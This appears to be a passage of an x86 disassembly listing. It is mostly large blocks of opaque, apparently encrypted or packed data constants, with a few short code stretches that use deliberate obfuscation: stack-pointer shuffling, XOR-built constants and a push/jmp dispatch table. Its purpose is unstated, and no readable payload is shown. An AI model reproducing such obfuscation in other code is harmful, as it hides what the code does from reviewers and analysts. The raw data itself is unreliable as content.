		dd 0E3A78ACDh, 0C3072A31h, 0D4878B53h, 183BEAB1h, 0F61942D4h
		dd 0B482F37h, 6FF66E64h, 7EC76B8Dh, 5CECCF12h, 0CD430167h
		dd 395CFF11h, 0A2A0C372h, 0C76B391Bh, 0CC7BBE7Eh, 6B7D5FE6h
		dd 0BF027EC7h, 0DAFD18DCh, 7E23ABC2h, 0A3B85E03h, 5B0AB980h
		dd 0F962AF7Dh, 0DD7E92D6h, 0BD9E76BAh, 0A1BA569Ah, 60571F7Eh
		dd 0DCFF5CB6h, 0F6926615h, 5C7FDC38h, 5D22B295h, 8815EFA6h
		dd 749CDEh, 4C30000h, 0E3274A11h, 8E70F72Dh, 137EC76Bh
		dd 9FFE21D0h, 0DF36E0D7h, 51169E7Ch, 0CFA6E74Dh, 8B4F3247h
		dd 6AAED18Ah, 0A490B3A8h, 239B81F6h, 0C7C6BA9Ch, 19FC3F7Eh
		dd 885C1B7Ah, 5070DEh, 4970000h, 0E3274A11h, 0C4082B30h
		dd 0D4878F4Fh, 57BE0225h, 1DCC8F87h, 96E00FAh, 0BE05394Ah
		dd 0CCAAB164h, 6345CC44h, 0E87EC76Bh, 6832D21h,	802FC9CAh
		dd 1004389Dh, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h
		dd 6, 0AAB16422h, 0C0462C7h, 29E82C4Fh,	95030F32h, 3F1CF42Eh
		dd 0EF23E159h, 6B95776Ch, 3FD37EC7h, 8570371Ch,	0B38A5C2Ch
		dd 0D3492CDBh, 240AD049h, 0DD330C5Fh, 0B99C9ACBh, 9F2DB43Bh
		dd 6B2978BFh, 53D0B3A8h, 68A9ED10h, 0CA4715F3h,	0EA42390Dh
		dd 5C0B12DEh, 1E542C39h, 83A578C0h, 1EA2840Bh, 0E42778C0h
		dd 160A7101h, 0E46BB958h, 78C01E02h, 72954487h,	0D04C8ABh
		dd 6FA2704Eh, 8C85C9ECh, 0E5EDACCFh, 8ECD449Eh,	0FE7E07B0h
		dd 10DE48Fh, 34000001h,	2309D148h, 0C070219Ch, 80A3E678h
		dd 0A086D53Ch, 69BFA128h, 14478C0h, 37DAA81Eh, 45030124h
		dd 286C8FCCh, 854C6FECh, 0E22FF3D6h, 8F975679h,	123EE28h
		dd 0C069987Ah, 203BD678h, 6349F83Bh, 7EA71A5h, 0B39DE891h
		dd 44EEE48Fh, 15000000h, 260CD048h, 0C76B9D9Fh,	0FC1F62FEh
		dd 0C76C0DEFh, 0BC0395FEh, 6FE6B2A6h, 0F001CEFDh, 7DDE3864h
		dd 5F61E8CEh, 237EC85Bh, 8BAEAD65h, 2164E1C4h, 7ABD43h
		dd 7C410000h, 5DB8BBD0h, 50CFCBFEh, 4854B99Ch, 9C2309D1h
		dd 78BF8BB1h, 884D3376h, 0E7579D8Ah, 2EE9CC29h,	76FD27EAh
		dd 78BFE494h, 6CAAD619h, 0DA6240EFh, 35217415h,	0EACDC6A8h
		dd 4D70EB26h, 0BFC86B40h, 3388BC78h, 53312AE7h,	0A48A50C9h
		dd 0B1BA391Dh, 587BBE72h, 3B5EFD14h, 64FAC12Fh,	7A3F25FDh
		dd 0BF07C07Eh, 275F604Ah, 37660336h, 9B22A083h,	6CA3D5B7h
		dd 0AC1BF93Ch, 2309D148h, 0E32FAF65h, 68E6C978h, 0B95CFDE1h
		dd 1C3F8278h, 442239D8h, 9DC09B76h, 4FDB9C90h, 4037FF81h
		dd 2E07B96h, 0B56B57Ah,	5F2A093h, 0A8B35E22h, 8AD14185h
		dd 96ED5B67h, 0B896C54Ch, 25B027EAh, 98C4BC5Ah,	0C4977DA9h
		dd 7CF4F215h, 0E00358BEh, 84422419h, 84C7614Fh,	5F938251h
		dd 240744A2h, 8A8h, 8C4A4500h, 48F0D388h, 4813043Dh, 2B30E125h
		dd 0C4FC408h, 0EA71A5E9h, 0C99283C7h, 0A8B362A6h, 8AD14185h
		dd 6EED2367h, 4E0D074Bh, 89532A2Bh, 4C381E3h, 83000000h
		dd 1C3304EBh, 241C3124h, 5C241C33h, 779A68h, 24148900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		push	eax
		mov	eax, 2DD67B62h
		mov	edi, 2BDB8D7Dh
		xor	edi, eax
		pop	eax
		mov	edx, edi
		pop	edi
		push	7DA3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	5C7Ch
		mov	[esp], eax
		mov	eax, edx
		mov	[ebx+8], eax
		pop	eax
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 6213BFB1h, 1EB9A71Dh, 0DFAB4B8h, 0FFC50306h,	0E202A1E0h
		dd 0BA423E59h, 2AB28108h, 0AC869A1Ah, 0D729EE71h, 0FEBA83Bh
		dd 0E582B30Fh, 6453718h, 0DB6C818h, 0AECF5E33h,	7D059612h
		dd 110D363Dh, 62C0DB47h, 2D8D8D1Bh, 0E9060DFCh,	10h, 669E139Bh
		dd 0C6AEC941h, 93BCBFB4h, 9B6E3DFFh, 6798D89h, 830F0607h
		dd 4, 61616060h, 2CE585C7h, 5A080607h, 6A0000h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B66CEC3h, 585C7FAh,	6072Dh,	23000000h, 7085595h, 0C9B5FF06h
		dd 6A060721h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 939BC352h, 1250E9ACh, 0B60C2ABh
		dd 0BD95FFh, 0B5090607h, 6072159h, 95FF006Ah, 60716B5h
		dd 9EBC08Bh, 1AF093FFh,	225B9338h, 7E82Eh, 87270000h, 5DF8D12Fh
		dd 12E9AEh, 45480000h, 241E3F24h, 0C364B19Eh, 8937735h
		dd 2708E0E0h, 8E95Bh, 0FB290000h, 9D2C6832h, 0C381CCD2h
		dd 5C5Fh, 6860Fh, 858B0000h, 6070DE9h, 16ED68h,	0FFBF0F00h
		dd 47DD805Eh, 9589138Bh, 6070609h, 22CBC281h, 9D296C49h
		dd 6072119h, 7EC4F281h,	0E78A1CE4h, 0EEEBF281h,	8D891A94h
		dd 60705A5h, 25B58952h,	8F06071Bh, 14E903h, 9DFE0000h
		dd 7D53C9BCh, 73DD2433h, 0F238137Dh, 951C566Dh,	0EB83034Fh
		dd 4B4B4B01h, 969BD89h,	0EE810607h, 1, 0FF9E850Fh, 0C880FFFFh
		dd 7E8D8D74h, 8B060DFDh, 70C0D95h, 798D8906h, 23060706h
		dd 7319995h, 0E585C706h, 8806072Ch, 81000066h, 1FD4ABC0h
		dd 585C735h, 6072Dh, 89000000h,	71AF5BDh, 95896006h, 6071AADh
		dd 6EAFF081h, 0FF6167A3h, 7157DB5h, 858B5306h, 607327Dh
		dd 0BD95FF5Ah, 6A060700h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0A06EC357h,	475C206Eh
		dd 59BD89E5h, 9060716h,	712E99Dh, 0FF006A06h, 716B595h
		dd 0EBC08B06h, 8AA6A01Ch, 96A58CE3h, 0FC99A103h, 2EBC8C8Ch
		dd 0CF803AACh, 0AF3F7B72h, 0AED53236h, 0B9E9DAh, 4F510000h
		dd 9CD75549h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 0E900005Eh, 15AAh, 0E004B68h
		dd 7D00E906h, 4768FFF9h, 0E9060E01h, 0FFF97CF6h, 0E023B68h
		dd 7CECE906h, 6568FFF9h, 0E9060E03h, 0FFF97CE2h, 0E03E068h
		dd 7CD8E906h, 0CA68FFF9h, 0E9060E04h, 0FFF97CCEh, 0E058F68h
		dd 7CC4E906h, 2D68FFF9h, 0E9060E06h, 0FFF97CBAh, 0E06E468h
		dd 7CB0E906h, 5B68FFF9h, 0E9060E08h, 0FFF97CA6h, 0E093168h
		dd 7C9CE906h, 0A768FFF9h, 0E9060E0Ah, 0FFF97C92h, 0E0BC868h
		dd 7C88E906h, 2B68FFF9h, 0E9060E0Dh, 0FFF97C7Eh, 0E0EAC68h
		dd 7C74E906h, 0B768FFF9h, 0E9060E10h, 0FFF97C6Ah, 0E118968h
		dd 7C60E906h, 710FFF9h,	6CA87654h, 0CD4311EFh, 30E2B08Eh
		dd 967F4D2Bh, 204CE7C5h, 1FFD5EB7h, 0B896C551h,	543229EAh
		dd 0F2D08B86h, 0D3B53C20h, 5884D569h, 0D04DF7Eh, 2AE72B4Eh
		dd 50C95331h, 2CE6A48Ah, 47CE4C2Fh, 78C07B74h, 5B4333F8h
		dd 0BCAAAA4h, 4568AB28h, 0BFC16238h, 7D42F078h,	905FBFC6h
		dd 56CCE4h, 4AF30000h, 0B3D6858Ch, 908909ECh, 6DD644Ah
		dd 8278BF9Bh, 240A51C4h, 0C03BBB9Dh, 1AFD4078h,	2734DD9Dh
		dd 6B8E3D04h, 0C03B885Eh, 0D153BE78h, 0C03B684Ah, 0FBAAED78h
		dd 0DB8094D8h, 572CBEB8h, 31863408h, 8FE17B0Ah,	0CD10E4h
		dd 591E0000h, 3880A9A3h, 157A5D3Eh, 42D10D04h, 49476A19h
		dd 0D6CA3B84h, 3662021Fh, 91587BE0h, 302BEAAEh,	1348C90Dh
		dd 7265ACF0h, 9416AA5Fh, 4C2AD973h, 0C801B5B5h,	75E62B7Eh
		dd 0C1510F97h, 3CD2679Ah, 968CD133h, 3922EFB3h,	0DB031616h
		dd 9D7B6EF5h, 804078C0h, 0DFA6C992h, 51C85230h,	0DF1CA389h
		dd 1C72B637h, 83A6B55Ch, 0AF270DBCh, 4C3B95EAh,	3E68187h
		dd 0D08D63Fh, 6DEE224Eh, 312E0BEh, 0DE422158h, 5EBF17AAh
		dd 130962h, 93C84F00h, 2E2DE7B5h, 0CD8E8250h, 6AF121EFh
		dd 457BE8Ch, 0F6E18B26h, 905E3C1Fh, 29F7D586h, 0C59371EAh
		dd 5F310F4Ch, 6B12F47Bh, 0BD9784D5h, 4A11041Eh,	0EE26E46Ch
		dd 4BC68A6Dh, 48C33210h, 9C2309D1h, 78BF9BC5h, 0CFDCFF42h
		dd 78C03AF9h, 7EE2D987h, 0E30655C0h, 0C2E5769Fh, 0CA694CFBh
		dd 0E48FE1BBh, 4635CE93h, 3C8139F4h, 0D31859h, 61260000h
		dd 7A3A1CD9h, 0C72C0F1Ch, 2B4E0D04h, 0A2D2EE7h,	0C76DFDFDh
		dd 0BD9E737Eh, 0D70011DFh, 857B0FBAh, 0BA715E91h, 5C632154h
		dd 0DFC291C4h, 43E1EE9Fh, 0AF36AE94h, 7EC6EBCDh, 712C0F52h
		dd 4C32E871h, 0BFF1D2C5h, 76549778h, 0C7AD75ECh, 0E1E6C84Fh
		dd 286B78BFh, 0C40C745h, 5172B588h, 0AB6A280Eh,	9B9B4E2Ch
		dd 45F41D97h, 0E873A15Fh, 0A51BFEC5h, 0BA993ED7h, 0B0DD876Bh
		dd 600F4CC5h, 0ACF37AB1h, 0AD0E17ABh, 120DB1h, 8FCC4B00h
		dd 2A31E3B1h, 0C9927E4Ch, 66F51DEBh, 5BBA88h, 0F2E58722h
		dd 8C5A3823h, 25F3D18Ah, 0C18F6DEEh, 5B2D0B50h,	6C0EF077h
		dd 0B99384D5h, 4A11041Ah, 0E8739E6Ch, 89D24402h, 30A830A6h
		dd 0C76AC7A9h, 26094C7Eh, 4E0D04C1h, 5A682D2Bh,	520B07D1h
		dd 48C98D70h, 30DF7C96h, 0CF8C8452h, 8EA71E9h, 8D7EC859h
		dd 68AC674Ah, 0F5D4B2A9h, 0A87EE3E6h, 85583BC2h, 63DD78C0h
		dd 0C12CFADCh, 56BF7F78h, 6C1BE205h, 2D1DFF86h,	5FA278C1h
		dd 764DC0B0h, 0F261365Ch, 5679E234h, 352CAC8Fh,	0F87FA570h
		dd 8136FC16h, 86A9589Bh, 0A32A10BFh, 7B30109Ch,	8FCDD398h
		dd 0A6BCBE26h, 2C9EC6Fh, 0B0F37053h, 4E948D8Dh,	0EF6CAA68h
		dd 0A42205CCh, 2525681Dh, 7C62A575h, 2D9B7D04h,	0DD207525h
		dd 53BE7CFAh, 0B55C2A08h, 3B086FA6h, 98F9153Ch,	11199Ch
		dd 83D83F00h, 1E3DD7A5h, 0BD9E7240h, 5A0111DFh,	0F467AE7Ch
		dd 0E6F17B16h, 804E2C2Fh, 19E7C596h, 0B58361FAh, 4F21FF5Ch
		dd 6D02E46Bh, 0AD8784D5h, 170D040Eh, 0C76BAE90h, 9D73337Eh
		dd 3D600FBEh, 0BFBB7A3Fh, 0E2CC874Ah, 0C79A7FFFh, 785E0D4Eh
		dd 0C0D0FEF1h, 9A80C378h, 3E213ADCh, 3DB3EC8h, 8EE0A51Dh
		dd 11946377h, 0D4EC5F1h, 231A9D2Ah, 9CDF72BAh, 14966C79h
		dd 762472BAh, 88BFA01h,	0FEC3EA96h, 0FC65F484h,	0BDFEE16Ah
		dd 3Ah,	9D148E4h, 23EDAB23h, 0EC85538h,	5378BFB5h, 0A76C2A10h
		dd 1D14F67Dh, 569978C0h, 5A32C9A7h, 0D678C01Dh,	0D3271E11h
		dd 0DF01C8Bh, 0B593C849h, 0C2F2CE7h, 105110h, 8C4AAD00h
		dd 35179E86h, 0BA7EC76Bh, 65E5C877h, 0B94026FCh, 78B96B48h
		dd 2A0C930Dh, 0AF78B96Ch, 19D7BD6Ch, 0B78563F8h, 0A31B015Ah
		dd 0B96C3A1Ch, 997CBF78h, 267BDEDEh, 0DCC271EAh, 0AB661755h
		dd 2B115472h, 0D9B7A46Dh, 3255060Bh, 11F72F32h,	0A385578Ah
		dd 22599C6Ch, 1DBD129Fh, 0EF4541A2h, 6900000Fh,	1CFADAEh
		dd 9C6A4813h, 3B09E774h, 0D8A684D7h, 0A5401E3Dh, 560510C7h
		dd 0EF6CAA78h, 8BD04311h, 2932DFADh, 0E95794Bh,	84D56E2Ch
		dd 4A38D7B1h, 0EFD2898Ch, 0C76B8C62h, 0CB4A087Eh, 0C3A66D90h
		dd 684DE43h, 31FFE301h,	8D6FF6DCh, 127EC7FDh, 0B33A20CFh
		dd 78B9F6ADh, 0C38167AAh, 612F0D4Eh, 8888ABB0h,	0DC634991h
		dd 72B310E9h, 97346BAEh, 0AA17AE7Fh, 0F744D49h,	33E40000h
		dd 987C4A28h, 0F917E5C3h, 5CB68462h, 0C25321FFh, 4C20BB99h
		dd 0F3D18A8Bh, 8C6AF125h, 280655BEh, 0C6A4B75Ah, 0A78910F4h
		dd 2C84D56Eh, 854AB352h, 8C9287F1h, 4206E9B2h, 25698CCFh
		dd 0FA4C6FECh, 0E99CA318h, 0A2DE88A7h, 9D3h, 9D148C9h
		dd 0AAB16523h, 7DDE3C87h, 10005B2Bh, 12F47B61h,	977EC80Bh
		dd 7BF37154h, 250853BDh, 0BA057D98h, 44098178h,	0F6B7CE5Ah
		dd 0A4867B9Ah, 0E278B995h, 40072A31h, 0E4779B5Bh, 0BE570235h
		dd 0D68D932Eh, 4D3376F3h, 0FBD9828Fh, 39F3E42Dh, 13ADBA41h
		dd 91DEEC34h, 2C79595Eh, 774D5A7Dh, 0F178BA52h,	0FBDC3568h
		dd 74F8986Fh, 0FCE291A4h, 0BA689375h, 26D51878h, 79C6B940h
		dd 0C58A72B3h, 28BB995Eh, 260A3D63h, 0C28DFF74h, 3F82FFE2h
		dd 0AE1DCD08h, 17137417h, 0E8Ah, 341249CEh, 0CFADAE66h
		dd 6E4C0F01h, 0BE972A0h, 0A583D83Dh, 0A075620Ah, 70FDDBBh
		dd 6BA87654h, 0CD4412F0h, 0FADEB08Eh, 0D56F9173h, 9D3C1684h
		dd 684E0D04h, 32B96BAAh, 7EC76B50h, 0E392D5h, 4B100145h
		dd 8FF4D628h, 88B50D78h, 8E57EDEh, 4AA50000h, 4E52858Ch
		dd 0AA97A7CFh, 632A4DFCh, 611DF380h, 82977EC8h,	14EF765Ch
		dd 9978BA5Bh, 33F87056h, 95799678h, 4B0FF206h, 62F918C6h
		dd 913F57Ch, 559878BAh,	7B40C8A6h, 0AFFD3C64h, 91343CB5h
		dd 9670D1D5h, 0D14004E7h, 0F267678Ah, 9CE462Ch,	26703CB3h
		dd 0A343BBE8h, 2E4EF528h, 4C3FCCAFh, 1172B348h,	484897CEh
		dd 98F917AEh, 0DC59Ch, 0D7849300h, 72E92BF9h, 114AC694h
		dd 0AEAD6533h, 481302D0h, 3A9DCF6Ah, 0D4A280DBh, 6D3B1942h
		dd 9D7B5A6h, 0A3755308h, 705638BFh, 1DB84D5h, 4E0D0462h
		dd 312AE72Bh, 2EECBC0Eh, 0D3B53CE8h, 587EC76Ah,	0F3836615h
		dd 0B50E778Ch, 8240DE88h, 0DEA5C893h, 819BAFBh,	0AC80000h
		dd 0B705308h, 2309D148h, 0B965F49Ch, 8EE3178h, 0B694C74Ah
		dd 4C3229E8h, 6D6B4DD4h, 0ADF078B9h, 2C020FCAh,	0A878B96Dh
		dd 4C2F2CEAh, 0A78D55CCh, 0B27F2D20h, 78AFF272h, 17AF1131h
		dd 27736FD0h, 3100000Dh, 0C99775E6h, 6432104Bh,	3D1AFACh
		dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h
		dd 0F16AA775h
		dd 0D65D4113h, 84D570F4h, 4A009F79h, 6B694BD2h,	0ABEE7EC7h
		dd 4E0D04C8h, 8769F068h, 0C7EC76Bh, 0E72BE6C9h,	0CA0E312Ah
		dd 0ABEF1249h, 0A8D1F467h, 92190F74h, 7EC76BB0h, 943F235h
		dd 7CC5027h, 37ED4E0Ch,	0B6553815h, 0DE880ACFh,	0D153C17Fh
		dd 0C80E684Ah, 0FBAAED7Eh, 751D718h, 3BFE0000h,	7EC76B58h
		dd 0F42247DAh, 4BD2B867h, 78B96586h, 1CDAC003h,	0BA8866F5h
		dd 0E1E10457h, 35BCA278h, 72B2809Ah, 8E255C9Fh,	7317AF0Eh
		dd 0C701612h, 2FE80000h, 94804E2Ch, 0F51BE9C7h,	58BA8866h
		dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h
		dd 0CAA8B35Eh, 0AB8D14F8h, 3084D571h, 0D04B756h, 0B52D2B4Eh
		dd 0C76B4C2Eh, 0AB8ED17Eh, 0E312AE7h, 0EC70474Fh, 9578E32Eh
		dd 351B40D1h, 6B5436BDh, 81927EC7h, 0F47BF5DAh,	7EC76B12h
		dd 0C2A55497h, 0B1E2A34Ch, 56A9DE88h, 0D0000001h, 90170D04h
		dd 7EC76BAEh, 1E41F033h, 462437DAh, 977DA5BCh, 0E88B5A1Fh
		dd 0CB4EFE5Ah, 0DD885BE8h, 4E0C78C0h, 0AD7497C4h, 0E70A4DCAh
		dd 0C0BD04DAh, 9FE49278h, 8F631D68h, 4C6EE4h, 0BE7C0000h
		dd 0BB200358h, 0E485D148h, 8567855Ch, 0D568B004h, 3648D3A2h
		dd 0A352090Ah, 835F36BDh, 99DC78C0h, 23936976h,	852178C1h
		dd 23A4860Dh, 34E278C1h, 583D0427h, 0DDA23215h,	8EF95F26h
		dd 0E531EFE4h, 0A98C5376h, 0BE68h, 0D048F00h, 2EE72B4Eh
		dd 74CABAA9h, 0C8420BEDh, 1A4D907Eh, 9B4A0AFFh,	61EF7B5h
		dd 0C8069D7Fh, 30DF227Eh, 0C34E924Dh, 0E0317598h, 57159D7Bh
		dd 0B37A9DBEh, 327343D0h, 68A97EC7h, 0EBD9E76h,	7DE46328h
		dd 6A8DCE44h, 4D7770A3h, 1A933B6Eh, 59CB1474h, 0E3760076h
		dd 1CCE553Bh, 6178BDEAh, 0BB73381Eh, 97B93C05h,	0AD6BE9CCh
		dd 0BF9C7668h, 0B1643210h, 0EA4A73AAh, 56B711A2h, 0AF95Ah
		dd 0A3B85F00h, 3E1DF7C5h, 0DD7E9260h, 7AE131FFh, 1447CE9Ch
		dd 6D19B36h, 0A06E4C0Fh, 3907E576h, 0D5A381DAh,	6F411F3Ch
		dd 7322048Bh, 0CDA784D5h, 4A11042Eh, 6B739E6Ch,	0CB92B5A6h
		dd 4CF3E1Ch, 0E72B4E0Dh, 0CD53312Ah, 55Bh, 9D1486Ah, 888D9C23h
		dd 478A78BFh, 51411724h, 9D7778C0h, 0BE579BBEh,	0EE807A9Dh
		dd 5AF6CA89h, 0E0970395h, 0B295F330h, 0DFA65D22h, 0ACE48FE1h
		dd 24Ch, 6B5E3BD3h, 41D87EC7h, 1EF5B399h, 72CF1A3Dh, 0C6EFB394h
		dd 7CFADD8Ch, 0BA4822F5h, 2BE8A678h, 8DD04D30h,	0AF28E9A7h
		dd 0E43FDDAEh, 0B35D89E0h, 0FBE85A8h, 0ADAE6331h, 45CE8C8Ah
		dd 492CF316h, 0A48A50C9h, 0B2BE821Dh, 0D448772h, 17AECFFAh
		dd 23EAE647h, 3500000Ah, 0CD9B79E2h, 68361447h,	7D5B3A8h
		dd 0A472500Bh, 710CEA71h, 2239DCFBh, 0BBA07644h, 57040FDDh
		dd 0F566AB79h, 0DA614517h, 84D573F8h, 404A37Dh,	0A3684E0Dh
		dd 0C24FD476h, 0F16223B2h, 0EA0894C7h, 8BCF8A6Dh, 0F3B2D586h
		dd 0C74A94EBh, 780DB694h, 0D6DE883Bh, 7A5DFE18h, 19739h
		dd 0D046000h, 6F2D2B4Eh, 0CE95B8A3h, 3AEA27EBh,	6B593BC2h
		dd 9BDE7EC7h, 0C76AC4A6h, 5706497Eh, 0B46AEF79h, 7A7447CEh
		dd 0B6F978C0h, 3FD79593h, 0D6AC391Ch, 0C78C059h, 2536DA04h
		dd 698C3B02h, 4B6EED25h, 0CA89EE22h, 0CC7348F6h, 0E48FC6B9h
		dd 34D2h, 0D148F900h, 0B1D4878Ch, 655BEEAh, 13EA7157h
		dd 9078BF9Bh, 471D2A4Dh, 0D578C03Bh, 0DAAB5027h, 74E48FE1h
		dd 0BC7A5DB6h, 0C2A145D0h, 0F33417C6h, 0E2h, 4E0D041Ah
		dd 2D2EE72Bh, 6648CF47h, 0EB7EC76Bh, 4E71EA2Bh,	3AF5D887h
		dd 0E8EA773Ch, 1E6A48Bh, 0A4B75A1Eh, 840B8381h,	7EC865A2h
		dd 59B8E427h, 0B65B1F02h, 4C6FEC28h, 2DB65401h,	0A04F321Eh
		dd 0CD8B13F1h, 0A22F1249h, 7EC732C2h, 5C4219F8h, 0C4E7749Eh
		dd 0A6C99280h, 0D74D30DFh, 280ED44Dh, 68E18063h, 0C88FB2A9h
		dd 0C145B795h, 0C848583Ah, 0EB9ADD7Eh, 51038A08h, 9678BDEEh
		dd 66AF6D53h, 0CC4917F5h, 0CAB9588Fh, 278811A2h, 8AD2Bh
		dd 0EF6CAB00h, 8AD14311h, 2932DEACh, 0C6957D4Bh, 60FB1AE8h
		dd 5285E782h, 0ECBA98C3h, 8553312Ah, 21EFCD8Eh,	0BB8D6BF0h
		dd 756E50D7h, 19F384D5h, 0CD11047Ah, 2AF11447h,	42CF9D7Bh
		dd 0A9D3C195h, 0AD1F467h, 787C33D7h, 0ED25E3C9h, 0A1844B6Eh
		dd 0D04BC2Bh, 0F31645D1h, 5C5A7D2Ch, 25AC789Eh,	7EC76B43h
		dd 0F3D685C8h, 9379E22Fh, 48E25CEh, 987E3E9Ah, 2AD9A0C3h
		dd 0DC4BD147h, 0E8000002h, 2309D148h, 3724EDABh, 0F1214D14h
		dd 9D80476Ah, 0B96BAB10h, 2256878h, 0B96D1FF5h,	5311AD78h
		dd 68F321BDh, 0ACCF7E45h, 0D7202E5h, 0A3B85917h, 4CD3B980h
		dd 78B96D6Ah, 2AC9ACEFh, 0E496AF5Bh, 23830h, 95803E00h
		dd 0F9DCA3C6h, 6B5E3B94h, 41D87EC7h, 8F2CB399h,	8C78B96Bh
		dd 66E585C5h, 0FFAE4ACBh, 77DCA119h, 0BB67D2A4h, 0F3D55C42h
		dd 7878BA4Fh, 838E5235h, 0E52CFAD8h, 0CE535376h, 10AB3218h
		dd 1472B363h, 3C33159Ch, 0F8B872B3h, 0B1944318h, 61BAF134h
		dd 0E017AE2Ch, 78C837Fh, 4BCC0000h, 0B0643210h,	11FFCDABh
		dd 749E6C4Ah, 0DA3B09E7h, 6408A381h, 0DBB9A273h, 7452090Dh
		dd 10EE6DA6h, 0AE8CCF42h, 8F71F8DCh, 1484D576h,	0D049B3Ah
		dd 0B52D2B4Eh, 0C76B4C2Eh, 0AB8ED17Eh, 0E312AE7h, 0F594594Fh
		dd 0A12EB488h, 0B7A8F2CBh, 60803D84h, 4C96ED7Dh, 30B896C5h
		dd 0D5B8A372h, 88914F36h, 1733CDEh, 8C4A0000h, 9DBE548Ah
		dd 2104B37Ah, 4E0D04BCh, 312AE72Bh, 8A50C953h, 7B4A1DA4h
		dd 10CE78C0h, 6B325506h, 0A5C80B88h, 0C05BC298h, 0DDA25078h
		dd 8FC55F26h, 372CE4h, 48530000h, 9C2309D1h, 78BF9BC5h
		dd 5F41C842h, 0E478C03Bh, 0C09B75A1h, 0A66D2B11h, 0A17D2B5h
		dd 78C03B34h, 98AF14C2h, 0E48FE1EDh, 0ED6EA361h, 0DF2003CAh
		dd 0E5h, 4E0D0406h, 2EB52D2Bh, 7EC76B4Ch, 0E7AB8ED1h, 0C0A2D2Eh
		dd 7093C84Eh, 0F02C6A9h, 2CE5294Ch, 51C9512Fh, 0C76AE8CAh
		dd 0FE2A6D7Eh, 5C234615h, 0E13CEC79h, 0DF327EC6h, 0DA7407F8h
		dd 0ED9C1CC9h, 26088F07h, 0AB7EC718h, 870F8568h, 18A6880Fh
		dd 2FE47EC7h, 5D42092Ch, 187A5CE3h, 0BCFF7EC7h,	0B7AA2A0Dh
		dd 47CB896Fh, 2CB33114h, 78BCBE7Ah, 0B5D3F8BFh,	0DE7A8BAEh
		dd 8A8B492Fh, 0F025F3D1h, 2B1346Bh, 0EF5011A3h,	629F3h
		dd 73E82F00h, 0E4DC795h, 0ADAE6230h, 4A1101CFh,	0E4779E6Ch
		dd 0D6016B06h, 703E1C3Fh, 9D7B5A6h, 0A573510Ah,	3F11EF6Ch
		dd 77F2D45Bh, 9D7784D5h, 4A1104FEh, 726CA664h, 0CD94B7A4h
		dd 3DC53B1Eh, 0C84D917Fh, 0FAA97093h, 692D10D7h, 8CDB3A8h
		dd 247997A8h, 0E85E4136h, 4BD24A79h, 7EC76B69h,	4C8ABEEh
		dd 0AE90170Dh, 337EC76Bh, 0DA1E41F0h, 0C0462437h, 5Fh
		dd 858C4A5Dh, 6B36189Fh, 78BB7EC7h, 0AE62A6C9h,	14C38AADh
		dd 0D302BE8h, 729F6346h, 6B492BB2h, 8BCE7EC7h, 9C75B9DCh
		dd 6588D342h, 88CCEF9Eh, 6CB0D388h, 3594B7A4h, 249166Dh
		dd 7899453Ah, 0E431AD66h, 0DEA5C877h, 4AD1492Fh, 7EC76B68h
		dd 0CAED6EA6h, 0F8DB1E03h, 2FFC82h, 4990000h, 0C7FCA0Dh
		dd 0FF8A6CF3h, 0CC0F7EC7h, 1F22C699h, 69404D70h, 0AA7EC7E9h
		dd 7D3B2196h, 0DDA4C794h, 80DB36FAh, 2338DC9Ah,	0E0563900h
		dd 4E0D0471h, 0E8682D2Bh, 0C2FE7957h, 0BDA42407h, 87F87F65h
		dd 4C78B9C9h, 27D6858Ch, 508E8341h, 5EB9AC1h
		dd 0CB24068Dh, 66A978B9h, 0D23F0D83h, 76DEA389h, 43B1D76Bh
		dd 585813F6h, 753319C1h, 7E94C09Bh, 10F3BADDh, 2C551A92h
		dd 7CBE0D58h, 98BBA072h, 0B23F22D1h, 72AC1974h,	0CA886EB1h
		dd 68361447h, 8F8FB2A9h, 0E76E548Ah, 6CA437B4h,	707FB6F9h
		dd 911DBC60h, 4A83430h,	67B00000h, 0CC4816F4h, 2DE3B18Fh
		dd 9082502Eh, 0F61FEDCBh, 80EC8765h, 0BF9DBE57h, 583625F1h
		dd 0F4D2898Ah, 9270EB26h, 7355DCC0h, 0F884D579h, 0D24A7F1Eh
		dd 0C76B694Bh, 6516A07Eh, 30B33BEBh, 6125084Bh,	45CDABB0h
		dd 0ABCE8D87h, 9577FEE4h, 1A7EC7BEh, 0E130F4D7h, 5E1C947Ah
		dd 0BB82A5B6h, 0C7BDE4C6h, 0FFE1687Eh, 847EC7BDh, 36195C41h
		dd 81DA377Bh, 61FA1A5Eh, 4318FA3Eh, 0B99B2220h,	3E7EC7BEh
		dd 774C54FBh, 2798128h,	442239D8h, 885EEA9Bh, 0EF9F64DEh
		dd 104BC7E8h, 0A96641DDh, 6043F269h, 7E1Fh, 0D1484600h
